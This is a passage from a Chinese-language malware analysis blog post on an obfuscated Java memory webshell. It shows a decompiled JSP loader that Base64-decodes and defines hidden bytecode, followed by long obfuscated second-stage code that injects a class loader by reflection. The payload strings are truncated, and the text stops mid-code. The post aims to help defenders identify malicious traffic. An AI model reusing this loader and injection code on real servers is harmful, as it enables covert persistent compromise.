距离上次写东西已经好久了，实在是没有什么能提起兴趣的东西可写。直到今天有同事咨询内存马相关的问题，才想到了前一段时间分析的一个混淆过的内存马，整体原理还是比较简单的。今天那就顺便整理下来供大家分析交流一下吧（分析清楚后有助于依据恶意文件请求中的特征识别出恶意请求的流量 从而可以梳理出时间线等信息）。
一、最初的第一个文件
最初我拿到的是一个命名为aaa.class的文件件，经过常规反编译后得到如下核心内容，内容非常简单，（代码内与思路无关的部分省略处理了）
public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
byte[] bytecode;
if (!DispatcherType.ERROR.equals(request.getDispatcherType())) {
String _jspx_method = request.getMethod();
if ("OPTIONS".equals(_jspx_method)) {
response.setHeader("Allow", "GET, HEAD, POST, OPTIONS");
return;
} else if (!"GET".equals(_jspx_method) && !"POST".equals(_jspx_method) && !"HEAD".equals(_jspx_method)) {
response.setHeader("Allow", "GET, HEAD, POST, OPTIONS");
response.sendError(405, "JSP 只允许 GET、POST 或 HEAD。Jasper 还允许 OPTIONS");
return;
}
}
JspWriter _jspx_out = null;
PageContext _jspx_page_context = null;
try {
try {
response.setContentType("text/html");
PageContext pageContext = _jspxFactory.getPageContext(this, request, response, (String) null, true, 8192, true);
_jspx_page_context = pageContext;
pageContext.getServletContext();
pageContext.getServletConfig();
pageContext.getSession();
_jspx_out = pageContext.getOut();
try {
ClassLoader clzLoader = Thread.currentThread().getContextClassLoader();
try {
Class base64Clz = clzLoader.loadClass("java.util.Base64");
Class decoderClz = clzLoader.loadClass("java.util.Base64$Decoder");
Object decoder = base64Clz.getMethod("getDecoder", new Class[0]).invoke(base64Clz, new Object[0]);
bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, String.valueOf("yv66vgAAADEC6wEAA2ZvbwEAHG9yZy9hcGFjaGUvRG......"));//与讲解思路无关省略
} catch (ClassNotFoundException unused) {
Class datatypeConverterClz = clzLoader.loadClass("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, String.valueOf("yv66vgAAADEC6wEAA2ZvbwEAHG9yZy9hcGFjaGUvRG......"));//与讲解思路无关省略
}
Method defineClzMethod = clzLoader.loadClass("java.lang.ClassLoader").getDeclaredMethod("defineClass", String.class, byte[].class, Integer.TYPE, Integer.TYPE);
defineClzMethod.setAccessible(true);
Class clz = (Class) defineClzMethod.invoke(clzLoader, null, bytecode, 0, Integer.valueOf(bytecode.length));
clz.newInstance();
} catch (Throwable unused2) {
}
_jspxFactory.releasePageContext(_jspx_page_context);
} catch (Throwable t) {
if (!(t instanceof SkipPageException)) {
JspWriter out = _jspx_out;
if (out != null && out.getBufferSize() != 0) {
try {
if (response.isCommitted()) {
out.flush();
} else {
out.clearBuffer();
}
} catch (IOException unused3) {
}
}
if (_jspx_page_context == null) {
throw new ServletException(t);
}
_jspx_page_context.handlePageException(t);
}
_jspxFactory.releasePageContext(_jspx_page_context);
}
} catch (Throwable th) {
_jspxFactory.releasePageContext(_jspx_page_context);
throw th;
}
}
}
上述内容只是对一段字符串做base64解码，再使用ClassLoader的defineClass 方法将转换后的字节码数据变成一个java.lang.Class 对象并将其加载到 JVM 中。
到这为止都是非常简单且无趣的….只需要写几行代码，模拟解码过程将字节码输出到本地就可以得到第二个文件的字节码文件。
二、释放出的第二个文件
接下来开始分析第二个字节码文件，第一步依旧是常规反编译，然后会发现第二个文件加了混淆,到这个位置才变得稍微有趣起来了。首先看一下逆向后的代码（与思路无关的部分省略了）。
package test;
/* compiled from: lllIlllI
II.css */
/* loaded from: aaa_1.class */
public class Smoothbored$$Lambda$1 {
private static /* synthetic */ String[] f2lIIllIllll = new String[95];
private static /* synthetic */ String[] f3IIIllIlIIl = new String[95];
private static /* synthetic */ long f4lIlIlIlIIl;
/* renamed from: III
Il
Il
l
ll, reason: not valid java name and contains not printable characters */
public static /* synthetic */ StackTraceElement[] m1IIIIlIllll(Object obj) throws Exception {
Method method = RuntimeException.class.getMethod("getStackTrace", new Class[0]);
method.setAccessible(true);
return (StackTraceElement[]) method.invoke(obj, new Object[0]);
}
public static /* synthetic */ String m2lIIIlIIlll(Object obj) throws Exception {
Method method = StackTraceElement.class.getMethod("getMethodName", new Class[0]);
method.setAccessible(true);
return (String) method.invoke(obj, new Object[0]);
}
/* renamed from: lI
l
l
IIl
lIl, reason: not valid java name and contains not printable characters */
public static /* synthetic */ StringBuilder m3lIllIIllIl(Object obj, String str) throws Exception {
Method method = StringBuilder.class.getMethod("append", String.class);
method.setAccessible(true);
return (StringBuilder) method.invoke(obj, str);
}
/* renamed from:
ll
I
l
Il
I
lII, reason: not valid java name and contains not printable characters */
public static /* synthetic */ String m4llIlIlIlII(Object obj) throws Exception {
Method method = StringBuilder.class.getMethod("toString", new Class[0]);
method.setAccessible(true);
return (String) method.invoke(obj, new Object[0]);
}
/* renamed from:
l
Il
ll
I
lIll, reason: not valid java name and contains not printable characters */
public static /* synthetic */ int m5lIlllIlIll(Object obj) throws Exception {
Method method = String.class.getMethod("length", new Class[0]);
method.setAccessible(true);
return ((Integer) method.invoke(obj, new Object[0])).intValue();
}
/* renamed from: l
Il
l
I
Il
lll, reason: not valid java name and contains not printable characters */
public static /* synthetic */ char m6lIllIIllll(Object obj, int i) throws Exception {
Method method = String.class.getMethod("charAt", Integer.TYPE);
method.setAccessible(true);
return ((Character) method.invoke(obj, Integer.valueOf(i))).charValue();
}
/* renamed from:
l
l
l
lll
I
l
II, reason: not valid java name and contains not printable characters */
public static /* synthetic */ byte[] m7llllllIlII(String str) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
return m13lllIIlllII(str);
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from:
I
Il
lllI
ll
I, reason: not valid java name and contains not printable characters */
public static /* synthetic */ byte[] m8IIllllIllI(String str) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
GZIPInputStream gZIPInputStream = new GZIPInputStream(new ByteArrayInputStream(m14IlIIlllIll(str)));
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] bArr = new byte[1024];
while (true) {
int m15lllllIlIII = m15lllllIlIII(gZIPInputStream, bArr);
if (m15lllllIlIII == -1) {
return m17lIlIIIIlIl(byteArrayOutputStream);
}
m16IIIlllIIll(byteArrayOutputStream, bArr, 0, m15lllllIlIII);
}
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from: l
l
IIllI
I
l
I, reason: not valid java name and contains not printable characters */
public static /* synthetic */ byte[] m9llIIllIIlI(String str) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
try {
Class m18llIIIIlIII = m18llIIIIlIII(m45lllIlIllII(0, 3875044870312245723L ^ 30));
return (byte[]) m20IllIlIlllI(m18llIIIIlIII.getMethod(m45lllIlIllII(1, 3875044870312245723L ^ 30), String.class), m19IlIlIllIII(m18llIIIIlIII), new Object[]{str});
} catch (Exception e2) {
Object m20IllIlIlllI = m20IllIlIlllI(m18llIIIIlIII(m45lllIlIllII(2, 3875044870312245723L ^ 30)).getMethod(m45lllIlIllII(3 & (-1), 3875044870312245701L), new Class[0]), null, new Object[0]);
return (byte[]) m20IllIlIlllI(m21lIIlIIlIIl(m20IllIlIlllI).getMethod(m45lllIlIllII(4, 3875044870312245701L), String.class), m20IllIlIlllI, new Object[]{str});
}
} catch (RuntimeException e3) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from: I
l
ll
l
IlIlI, reason: not valid java name and contains not printable characters */
public static /* synthetic */ void m10IllllIlIlI(ClassLoader classLoader, String str) {
Class<?> loadClass;
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
try {
File file = new File(m22lllIIIllIl(m45lllIlIllII(5, 3875044870312245723L ^ 30)));
File file2 = new File(file, m25lIIlIIIIII(m24IlIlIIIlll(m24IlIlIIIlll(new StringBuilder(), m23lIIIIllIlI(str, '.', '/')), m45lllIlIllII(6 & (-1), 3875044870312245701L))));
m27IlIIIllllI(m26lIIlIlIIlI(file2));
if (m28lIllllIlIl(file2) || m29lllIlIIlll(file2)) {
try {
loadClass = classLoader.loadClass(m45lllIlIllII(7, 3875044870312245723L ^ 30));
} catch (Exception e2) {
loadClass = classLoader.loadClass(m45lllIlIllII(8 & (-1), 3875044870312245701L));
}
Constructor<?> declaredConstructor = loadClass.getDeclaredConstructor(URL.class);
m30IlIlllIIIl(declaredConstructor, true);
Object m33lIIIllIllI = m33lIIIllIllI(declaredConstructor, new Object[]{m32lllIIllIlI(m31IIIIIIllIl(file))});
ClassLoader m34lllIlIIIlI = m34lllIlIIIlI();
while (m35lllIlIlIIl(m34lllIlIIIlI) != null) {
m34lllIlIIIlI = m35lllIlIlIIl(m34lllIlIIIlI);
}
Field field = null;
for (Class m21lIIlIIlIIl = m21lIIlIIlIIl(m34lllIlIIIlI); m21lIIlIIlIIl != null; m21lIIlIIlIIl = m36IIlIllIIll(m21lIIlIIlIIl)) {
try {
field = m21lIIlIIlIIl.getDeclaredField(m45lllIlIllII(9, 3875044870312245723L ^ 30));
break;
} catch (NoSuchFieldException e3) {
}
}
if (field != null) {
m37IIlIIlIIII(field, true);
Field declaredField = Field.class.getDeclaredField(m45lllIlIllII(10, 3875044870312245723L ^ 30));
m37IIlIIlIIII(declaredField, true);
m38IIlIlIlIII(declaredField, field, 0);
Object m39llIIIlllIl = m39llIIIlllIl(field, m34lllIlIIIlI);
Field field2 = null;
for (Class m21lIIlIIlIIl2 = m21lIIlIIlIIl(m39llIIIlllIl); m21lIIlIIlIIl2 != null; m21lIIlIIlIIl2 = m36IIlIllIIll(m21lIIlIIlIIl2)) {
try {
field2 = m21lIIlIIlIIl2.getDeclaredField(m45lllIlIllII(11, 3875044870312245701L));
break;
} catch (NoSuchFieldException e4) {
}
}
if (field2 != null) {
m37IIlIIlIIII(field2, true);
m40IlIllIlIlI((ArrayList) m39llIIIlllIl(field2, m39llIIIlllIl), m33lIIIllIllI);
}
}
}
} catch (Exception e5) {
}
} catch (RuntimeException e6) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from: IIl
Il
l
I
II
l, reason: not valid java name and contains not printable characters */
public static /* synthetic */ void m11IIlIllIIIl(Object obj) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
String str;
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
String str2 = (String) m20IllIlIlllI(m21lIIlIIlIIl(obj).getMethod(m45lllIlIllII(12, 3875044870312245701L), new Class[0]), obj, new Object[0]);
String str3 = (String) m20IllIlIlllI(m21lIIlIIlIIl(obj).getMethod(m45lllIlIllII(13, 3875044870312245723L ^ 30), new Class[0]), obj, new Object[0]);
String m43IlIlllIIlI = m43IlIlllIIlI(str2, m41IIIlllllII(str2, str3) + m42llIlIIllll(str3));
m45lllIlIllII(14, 3875044870312245723L ^ 30);
try {
Object m20IllIlIlllI = m20IllIlIlllI(m21lIIlIIlIIl(obj).getMethod(m45lllIlIllII(15 & (-1), 3875044870312245701L), new Class[0]), obj, new Object[0]);
str = (String) m20IllIlIlllI(m21lIIlIIlIIl(m20IllIlIlllI).getMethod(m45lllIlIllII(16, 3875044870312245723L ^ 30), String.class), m20IllIlIlllI, new Object[]{m43IlIlllIIlI});
} catch (NoSuchMethodException e2) {
str = (String) m20IllIlIlllI(m21lIIlIIlIIl(obj).getMethod(m45lllIlIllII(17 & (-1), 3875044870312245701L), String.class), obj, new Object[]{m43IlIlllIIlI});
}
m44IIIllIllIl(new File(str));
} catch (RuntimeException e3) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from:
l
l
lIl
I
l
I
ll, reason: not valid java name and contains not printable characters */
public static /* synthetic */ void m12lllIlIlIll(Throwable th) {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th2) {
System.out.print(String.format("%s", ""));
throw th2;
}
}
/* renamed from:
ll
lI
I
ll
lII, reason: not valid java name and contains not printable characters */
public static /* synthetic */ byte[] m13lllIIlllII(String str) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = Smoothbored$$Lambda$1.class.getMethod(m45lllIlIllII(63, 3875044870312245723L ^ 30), String.class);
method.setAccessible(true);
return (byte[]) method.invoke(null, str);
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from:
I
lI
I
l
l
lI
ll, reason: not valid java name and contains not printable characters */
public static /* synthetic */ byte[] m14IlIIlllIll(String str) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = Smoothbored$$Lambda$1.class.getMethod(m45lllIlIllII(64, 3875044870312245701L), String.class);
method.setAccessible(true);
return (byte[]) method.invoke(null, str);
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from: l
l
lllIl
I
I
I, reason: not valid java name and contains not printable characters */
public static /* synthetic */ int m15lllllIlIII(Object obj, byte[] bArr) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = GZIPInputStream.class.getMethod(m45lllIlIllII(65 & (-1), 3875044870312245701L), byte[].class);
method.setAccessible(true);
return ((Integer) method.invoke(obj, bArr)).intValue();
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from: I
IIlllI
I
l
l, reason: not valid java name and contains not printable characters */
public static /* synthetic */ void m16IIIlllIIll(Object obj, byte[] bArr, int i, int i2) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = ByteArrayOutputStream.class.getMethod(m45lllIlIllII(66, 3875044870312245723L ^ 30), byte[].class, Integer.TYPE, Integer.TYPE);
method.setAccessible(true);
method.invoke(obj, bArr, Integer.valueOf(i), Integer.valueOf(i2));
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from:
lI
lI
III
lI
l, reason: not valid java name and contains not printable characters */
public static /* synthetic */ byte[] m17lIlIIIIlIl(Object obj) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = ByteArrayOutputStream.class.getMethod(m45lllIlIllII(67 & (-1), 3875044870312245701L), new Class[0]);
method.setAccessible(true);
return (byte[]) method.invoke(obj, new Object[0]);
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from:
ll
II
I
Il
II
I, reason: not valid java name and contains not printable characters */
public static /* synthetic */ Class m18llIIIIlIII(String str) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = Class.class.getMethod(m45lllIlIllII(68, 3875044870312245701L), String.class);
method.setAccessible(true);
return (Class) method.invoke(null, str);
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from:
IlIl
Ill
II
I, reason: not valid java name and contains not printable characters */
public static /* synthetic */ Object m19IlIlIllIII(Object obj) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = Class.class.getMethod(m45lllIlIllII(69, 3875044870312245723L ^ 30), new Class[0]);
method.setAccessible(true);
return method.invoke(obj, new Object[0]);
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from:
IllIlIlll
I, reason: not valid java name and contains not printable characters */
public static /* synthetic */ Object m20IllIlIlllI(Object obj, Object obj2, Object[] objArr) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = Method.class.getMethod(m45lllIlIllII(70 & (-1), 3875044870312245701L), Object.class, Object[].class);
method.setAccessible(true);
return method.invoke(obj, obj2, objArr);
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from:
lII
lIIlIIl, reason: not valid java name and contains not printable characters */
public static /* synthetic */ Class m21lIIlIIlIIl(Object obj) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = Object.class.getMethod(m45lllIlIllII(71, 3875044870312245701L), new Class[0]);
method.setAccessible(true);
return (Class) method.invoke(obj, new Object[0]);
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from: l
llI
I
I
l
l
Il, reason: not valid java name and contains not printable characters */
public static /* synthetic */ String m22lllIIIllIl(String str) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = System.class.getMethod(m45lllIlIllII(72 & (-1), 3875044870312245701L), String.class);
method.setAccessible(true);
return (String) method.invoke(null, str);
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from:
lI
II
I
l
lIlI, reason: not valid java name and contains not printable characters */
public static /* synthetic */ String m23lIIIIllIlI(Object obj, char c, char c2) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = String.class.getMethod(m45lllIlIllII(73, 3875044870312245701L), Character.TYPE, Character.TYPE);
method.setAccessible(true);
return (String) method.invoke(obj, Character.valueOf(c), Character.valueOf(c2));
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from:
IlIlIIIl
l
l, reason: not valid java name and contains not printable characters */
public static /* synthetic */ StringBuilder m24IlIlIIIlll(Object obj, String str) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = StringBuilder.class.getMethod(m45lllIlIllII(74, 3875044870312245723L ^ 30), String.class);
method.setAccessible(true);
return (StringBuilder) method.invoke(obj, str);
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from: l
I
I
lI
IIIII, reason: not valid java name and contains not printable characters */
public static /* synthetic */ String m25lIIlIIIIII(Object obj) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = StringBuilder.class.getMethod(m45lllIlIllII(75, 3875044870312245723L ^ 30), new Class[0]);
method.setAccessible(true);
return (String) method.invoke(obj, new Object[0]);
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from:
lI
IlI
l
IIlI, reason: not valid java name and contains not printable characters */
public static /* synthetic */ File m26lIIlIlIIlI(Object obj) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = File.class.getMethod(m45lllIlIllII(76 & (-1), 3875044870312245701L), new Class[0]);
method.setAccessible(true);
return (File) method.invoke(obj, new Object[0]);
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from: Il
I
IIl
lll
I, reason: not valid java name and contains not printable characters */
public static /* synthetic */ boolean m27IlIIIllllI(Object obj) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = File.class.getMethod(m45lllIlIllII(77, 3875044870312245723L ^ 30), new Class[0]);
method.setAccessible(true);
return ((Boolean) method.invoke(obj, new Object[0])).booleanValue();
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from:
l
I
l
ll
l
I
lIl, reason: not valid java name and contains not printable characters */
public static /* synthetic */ boolean m28lIllllIlIl(Object obj) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = File.class.getMethod(m45lllIlIllII(78, 3875044870312245723L ^ 30), new Class[0]);
method.setAccessible(true);
return ((Boolean) method.invoke(obj, new Object[0])).booleanValue();
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from: ll
l
Il
IIll
l, reason: not valid java name and contains not printable characters */
public static /* synthetic */ boolean m29lllIlIIlll(Object obj) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = File.class.getMethod(m45lllIlIllII(79 & (-1), 3875044870312245701L), new Class[0]);
method.setAccessible(true);
return ((Boolean) method.invoke(obj, new Object[0])).booleanValue();
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from: I
l
Il
l
lIIIl, reason: not valid java name and contains not printable characters */
public static /* synthetic */ void m30IlIlllIIIl(Object obj, boolean z) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = Constructor.class.getMethod(m45lllIlIllII(80, 3875044870312245723L ^ 30), Boolean.TYPE);
method.setAccessible(true);
method.invoke(obj, Boolean.valueOf(z));
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from: II
IIII
llIl, reason: not valid java name and contains not printable characters */
public static /* synthetic */ URI m31IIIIIIllIl(Object obj) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = File.class.getMethod(m45lllIlIllII(81, 3875044870312245723L ^ 30), new Class[0]);
method.setAccessible(true);
return (URI) method.invoke(obj, new Object[0]);
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from:
lllI
Ill
Il
I, reason: not valid java name and contains not printable characters */
public static /* synthetic */ URL m32lllIIllIlI(Object obj) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = URI.class.getMethod(m45lllIlIllII(82 & (-1), 3875044870312245701L), new Class[0]);
method.setAccessible(true);
return (URL) method.invoke(obj, new Object[0]);
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from: l
II
Ill
I
ll
I, reason: not valid java name and contains not printable characters */
public static /* synthetic */ Object m33lIIIllIllI(Object obj, Object[] objArr) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = Constructor.class.getMethod(m45lllIlIllII(83, 3875044870312245723L ^ 30), Object[].class);
method.setAccessible(true);
return method.invoke(obj, objArr);
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from: l
ll
Il
II
I
lI, reason: not valid java name and contains not printable characters */
public static /* synthetic */ ClassLoader m34lllIlIIIlI() throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = ClassLoader.class.getMethod(m45lllIlIllII(84 & (-1), 3875044870312245701L), new Class[0]);
method.setAccessible(true);
return (ClassLoader) method.invoke(null, new Object[0]);
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from: l
l
l
I
lIl
I
Il, reason: not valid java name and contains not printable characters */
public static /* synthetic */ ClassLoader m35lllIlIlIIl(Object obj) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = ClassLoader.class.getMethod(m45lllIlIllII(85, 3875044870312245701L), new Class[0]);
method.setAccessible(true);
return (ClassLoader) method.invoke(obj, new Object[0]);
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from: II
l
I
llIIll, reason: not valid java name and contains not printable characters */
public static /* synthetic */ Class m36IIlIllIIll(Object obj) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = Class.class.getMethod(m45lllIlIllII(86, 3875044870312245723L ^ 30), new Class[0]);
method.setAccessible(true);
return (Class) method.invoke(obj, new Object[0]);
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from:
I
I
lI
IlIII
I, reason: not valid java name and contains not printable characters */
public static /* synthetic */ void m37IIlIIlIIII(Object obj, boolean z) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = Field.class.getMethod(m45lllIlIllII(87, 3875044870312245723L ^ 30), Boolean.TYPE);
method.setAccessible(true);
method.invoke(obj, Boolean.valueOf(z));
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from:
I
I
lIl
Il
I
I
I, reason: not valid java name and contains not printable characters */
public static /* synthetic */ void m38IIlIlIlIII(Object obj, Object obj2, int i) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = Field.class.getMethod(m45lllIlIllII(88, 3875044870312245723L ^ 30), Object.class, Integer.TYPE);
method.setAccessible(true);
method.invoke(obj, obj2, Integer.valueOf(i));
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from:
ll
I
II
ll
lI
l, reason: not valid java name and contains not printable characters */
public static /* synthetic */ Object m39llIIIlllIl(Object obj, Object obj2) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = Field.class.getMethod(m45lllIlIllII(89 & (-1), 3875044870312245701L), Object.class);
method.setAccessible(true);
return method.invoke(obj, obj2);
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from:
I
lI
ll
I
l
I
l
